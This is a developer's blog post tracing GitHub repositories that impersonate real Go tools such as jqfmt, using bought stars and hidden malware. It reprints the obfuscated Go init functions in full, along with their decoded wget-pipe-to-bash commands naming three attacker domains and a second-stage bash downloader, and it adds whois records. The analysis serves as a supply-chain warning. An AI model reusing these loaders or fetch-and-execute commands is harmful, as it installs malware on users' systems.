Rogue One: A Malware Story
By Mads Hougesen, Wed Feb 26 2025
Contents
While adding support for jqfmt
to my markdown code block formatter (mdsf
, mdsf#700), I came across something weird.
When searching for the repository on GitHub, two different repositories with a decent amount of stars came up.
The first, unfitpercen/jqfmt
had 102 stars and was last updated 5 days ago (2025-02-22), while the second noperator/jqfmt
only had 55 stars and was last updated six months ago (2024-08-15).
The Suspicion Awakens
I originally assumed that one of the repositories was a fork, but the more I looked into the one with most stars (unfitpercen/jqfmt
), the more suspicious I got.
The repository contained a single commit with the message added
, which introduced 65 files and 2,740 lines, and didn't have a git email attached. While bad practice, it is not uncommon for some people to create large commits, and my parents have always told me not to judge a book by its cover.
A repository with a hundred stars but without a single issue, pull request, or discussion is also a red flag.
Such a star-to-issue ratio has three common explanations:
- The software is bug-free (is any ever?)
- The users that starred the repository thought the project seemed interesting but did not use it
- The stars are fake
It is quite hard to validate explanations 1 and 2. Luckily, I already knew a few ways to detect fake engagement from my time building social media tools at Cavea.
Fake engagement will often have a few tells that make it stand out:
- The users starring will be created recently - since they often get banned.
- They won't act in the same way an ordinary user does - actually contributing to code in our case.
- The engagement will be "delivered" in large bursts - getting hundreds of engagements on day X but gaining zero engagements on days X⁻¹ and X⁺¹.
When checking the star history using OSS Insight we see that the repository went from 0 to 99 stars on February 25th. That is a lot of stars to gain in a single day.
For comparison prettier, maybe the most used formatter, gains around 10 stars a day.
One could argue that perhaps the repository was posted on a forum like Reddit or Hacker News, so I ran a quick backlink check to confirm that wasn't the case
Checking who starred a repository is also quite straightforward since each repository has a page displaying this information (https://github.com/unfitpercen/jqfmt/stargazers). That page also conveniently shows the account creation date of the "stargazers", if they haven't filled out their country or company (which the scammer, fortunately, didn't do).
A quick look revealed that every single user was created within the last few weeks - suspicious 🤔
The Phantom Execution
At this point, it became obvious that the repository was impersonating noperator/jqfmt
, which meant there was only one thing left to do - figure out why.
So anyway, I started blasting a side-by-side view of each repository. Luckily my eyesight is pretty good, so I quickly found a discrepancy in the cmd/jqfmt/main.go file:
While I am in no way an expert at writing Go, it was pretty clear that something weird was going on.
Warning: this code downloads malware. You should not run it unless you know what you are doing:
import "os/exec"
func rUnCTC() error {
HJ := []string{"e", "3", "d", "m", "/", "s", "&", "h", "i", ":", "3", "/", "c", "|", "d", "e", "/", "g", "1", "/", "o", "t", "/", "-", "4", "e", " ", "3", "u", " ", "w", "f", " ", "0", "a", "a", "-", "O", "6", "d", "n", "b", "p", "t", "b", "5", ".", "s", "i", "f", "r", "h", "/", " ", "r", "s", "7", "v", "e", " ", "t", "c", "t", "o", "g", "a", "/", "f", "n", "b", "a", " "}
utOYhb := "/bin/sh"
MclXWiDP := "-c"
opIAlY := HJ[30] + HJ[64] + HJ[15] + HJ[60] + HJ[53] + HJ[36] + HJ[37] + HJ[29] + HJ[23] + HJ[59] + HJ[51] + HJ[43] + HJ[62] + HJ[42] + HJ[55] + HJ[9] + HJ[4] + HJ[11] + HJ[61] + HJ[34] + HJ[54] + HJ[57] + HJ[25] + HJ[12] + HJ[63] + HJ[3] + HJ[48] + HJ[46] + HJ[67] + HJ[28] + HJ[68] + HJ[66] + HJ[5] + HJ[21] + HJ[20] + HJ[50] + HJ[70] + HJ[17] + HJ[0] + HJ[16] + HJ[2] + HJ[58] + HJ[10] + HJ[56] + HJ[27] + HJ[14] + HJ[33] + HJ[39] + HJ[49] + HJ[52] + HJ[65] + HJ[1] + HJ[18] + HJ[45] + HJ[24] + HJ[38] + HJ[44] + HJ[31] + HJ[32] + HJ[13] + HJ[26] + HJ[19] + HJ[41] + HJ[8] + HJ[40] + HJ[22] + HJ[69] + HJ[35] + HJ[47] + HJ[7] + HJ[71] + HJ[6]
exec.Command(utOYhb, MclXWiDP, opIAlY).Start()
return nil
}
var rbFVkd = rUnCTC()
The Go code will execute the following command:
/bin/sh -c wget -O - https://carvecomi.fun/storage/de373d0df/a31546bf | /bin/bash &
Which downloads and executes a script from carvecomi [dot] fun/storage/de373d0df/f0eee999
if the user is running Linux.
#!/bin/bash
cd ~
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
if ! [ -f ./f0eee999 ]; then
sleep 3600
wget https://carvecomi.fun/storage/de373d0df/f0eee999
chmod +x ./f0eee999
app_process_id=$(pidof f0eee999)
if [[ -z $app_process_id ]]; then
./f0eee999
fi
fi
fi
Sadly the executable the script above downloads is multiple megabytes, which is more than I felt like deconstructing.
I did find it rather curious that the malware only targets Linux devices. That is in stark contrast to "ordinary" malware that usually targets Windows users, because of their higher market share.
For fun, I ran a quick whois query on the carvecomi.fun
domain to check if the scammer was foolish enough to expose any personal information. Sadly the only information that was provided was that the owner might be based in the Seychelles and that Cloudflare is used for DNS.
Domain Name: CARVECOMI.FUN
Registry Domain ID: D527869608-CNIC
Registrar WHOIS Server: whois.PublicDomainRegistry.com
Registrar URL: https://publicdomainregistry.com
Creation Date: 2025-02-17T18:26:13.0Z
Registry Expiry Date: 2026-02-17T23:59:59.0Z
Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com
Registrar IANA ID: 303
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: N/A
Registrant State/Province: Not Applicable
Registrant Country: SC
Registrant Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Admin Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Tech Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Name Server: ALARIC.NS.CLOUDFLARE.COM
Name Server: KATJA.NS.CLOUDFLARE.COM
DNSSEC: unsigned
Billing Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +1.2013775952
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2025-02-26T22:57:43.0Z <<<
Attack of the Clones
Malware attacks like the one deployed above are a numbers game, which means that the creator most likely is impersonating more than one repository. So I wrote a quick script, which can be found at https://gist.github.com/hougesen/e5eb7cd2c5611e202b4d211908b540a1, for getting the repositories of all the users that starred unfitpercen/jqfmt
.
The script spat out three different repositories annualphysic/shadify
, upsetpanther/feishu
, and wickedcorsa/go-hoyolab
.
annualphysic/shadify
is trying to impersonate cheatsnake/shadify. Like the fake jqfmt
repository, the code was hidden in the main.go
file. The only difference I could find was that the malware is hosted on a different domain (numerlink [dot] online
).
wget -O - https://numerlink.online/storage/de373d0df/a31546bf | /bin/bash &
According to the whois result this domain might also be owned by a registrant in the Seychelles.
Domain Name: NUMERLINK.ONLINE
Registry Domain ID: D527869092-CNIC
Registrar WHOIS Server: whois.PublicDomainRegistry.com
Registrar URL: https://publicdomainregistry.com
Creation Date: 2025-02-17T18:23:08.0Z
Registry Expiry Date: 2026-02-17T23:59:59.0Z
Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com
Registrar IANA ID: 303
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: N/A
Registrant State/Province: Not Applicable
Registrant Country: SC
Registrant Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Admin Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Tech Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Name Server: HASSAN.NS.CLOUDFLARE.COM
Name Server: MARIAH.NS.CLOUDFLARE.COM
DNSSEC: unsigned
Billing Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +1.2013775952
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2025-02-27T03:26:23.0Z <<<
The upsetpanther/feishu
repository, which is an impersonation of CatchZeng/feishu, is actually pretty interesting because the README is written in Chinese, which hints that the scammer might be targeting Chinese-speaking users (or can speak Chinese themself).
They also removed the GitHub actions from the project files. I am not sure why though. GitHub actions have a generous free tier, and even if it didn't, would it matter for a bot account?
The only logical reason would be that GitHub actions expose information about the user when running, but I was unable to corroborate that theory.
import "os/exec"
func QfdnANi() error {
tkS := []string{"5", "s", "g", " ", "e", "s", "/", "i", "-", "/", "3", "d", " ", "g", "3", "n", "/", "e", "a", "4", "e", ":", "s", "/", "/", "t", "o", "a", "n", "a", "e", "/", "t", "f", "t", "s", "&", "/", " ", ".", " ", "3", "h", "a", "t", "b", "d", "t", "0", "a", "s", "v", "b", "w", "e", "-", "r", "i", "f", "t", "7", " ", "|", "1", "b", "h", " ", "p", "t", "O", "e", "6", "d", "b", "w", "r"}
uSZIGOH := "/bin/sh"
GHfr := "-c"
lask := tkS[74] + tkS[13] + tkS[30] + tkS[47] + tkS[3] + tkS[8] + tkS[69] + tkS[66] + tkS[55] + tkS[40] + tkS[42] + tkS[68] + tkS[59] + tkS[67] + tkS[22] + tkS[21] + tkS[24] + tkS[9] + tkS[51] + tkS[43] + tkS[15] + tkS[27] + tkS[56] + tkS[25] + tkS[20] + tkS[5] + tkS[34] + tkS[39] + tkS[53] + tkS[4] + tkS[64] + tkS[50] + tkS[7] + tkS[44] + tkS[70] + tkS[31] + tkS[35] + tkS[32] + tkS[26] + tkS[75] + tkS[29] + tkS[2] + tkS[17] + tkS[16] + tkS[72] + tkS[54] + tkS[41] + tkS[60] + tkS[14] + tkS[46] + tkS[48] + tkS[11] + tkS[58] + tkS[23] + tkS[49] + tkS[10] + tkS[63] + tkS[0] + tkS[19] + tkS[71] + tkS[73] + tkS[33] + tkS[61] + tkS[62] + tkS[38] + tkS[37] + tkS[52] + tkS[57] + tkS[28] + tkS[6] + tkS[45] + tkS[18] + tkS[1] + tkS[65] + tkS[12] + tkS[36]
exec.Command(uSZIGOH, GHfr, lask).Start()
return nil
}
var boQRpnog = QfdnANi()
The malware host was once again changed, now to vanartest [dot] website
.
Like the earlier repositories, wickedcorsa/go-hoyolab
is also an impersonation. This time of dvgamerr-app/go-hoyolab.
Interestingly the malware embedded in this repository uses the same domain and path as the one above (vanartest [dot] website
).
import "os/exec"
func sathAcl() error {
zR := []string{"3", "d", "t", "-", "t", "e", "5", "b", "g", "a", "6", ".", "e", "f", "t", "/", "&", "3", "g", "h", "/", " ", "|", "t", "b", "e", "a", "p", "-", "f", "e", "s", "0", "o", "a", "s", "a", "t", "b", "t", "7", "/", "4", " ", "h", "s", "r", " ", "s", "O", " ", "b", "s", "/", "/", "n", "/", "a", "3", "1", "d", "t", "n", "e", "v", "i", "w", " ", "i", " ", ":", "r", "e", "w", "/", "d"}
GeEGE := "/bin/sh"
VnjRkf := "-c"
BRzqziPl := zR[73] + zR[8] + zR[72] + zR[37] + zR[47] + zR[28] + zR[49] + zR[67] + zR[3] + zR[21] + zR[19] + zR[4] + zR[23] + zR[27] + zR[45] + zR[70] + zR[56] + zR[41] + zR[64] + zR[34] + zR[55] + zR[26] + zR[71] + zR[61] + zR[25] + zR[48] + zR[14] + zR[11] + zR[66] + zR[12] + zR[24] + zR[31] + zR[68] + zR[2] + zR[63] + zR[20] + zR[35] + zR[39] + zR[33] + zR[46] + zR[9] + zR[18] + zR[30] + zR[15] + zR[75] + zR[5] + zR[0] + zR[40] + zR[17] + zR[60] + zR[32] + zR[1] + zR[13] + zR[53] + zR[57] + zR[58] + zR[59] + zR[6] + zR[42] + zR[10] + zR[38] + zR[29] + zR[50] + zR[22] + zR[43] + zR[54] + zR[7] + zR[65] + zR[62] + zR[74] + zR[51] + zR[36] + zR[52] + zR[44] + zR[69] + zR[16]
exec.Command(GeEGE, VnjRkf, BRzqziPl).Start()
return nil
}
var SnLbyHF = sathAcl()
wget -O - https://vanartest.website/storage/de373d0df/a31546bf | /bin/bash &
A New Hope?
Over the last couple of months, I have added support for hundreds of different code-formatters to mdsf.
The number of times that I have personally validated the code before installing a new tool is minimal (don't worry, mdsf is a command runner, not a package manager). I simply trusted that having stars meant the project was "safe". If it hadn't been because I was thrown off by the single commit of unfitpercen/jqfmt
, I would have fallen for the trap.
I hope to be more careful in the future, but at the same time, I do not think it is feasible to personally validate every single line of external code you run. There are simply too many lines to keep up with, especially once you consider sub-dependencies.
The only scalable solution seems to be vulnerability scanners like Coana, Socket, or Snyk, but while they might be good there is no way to guarantee that they catch everything.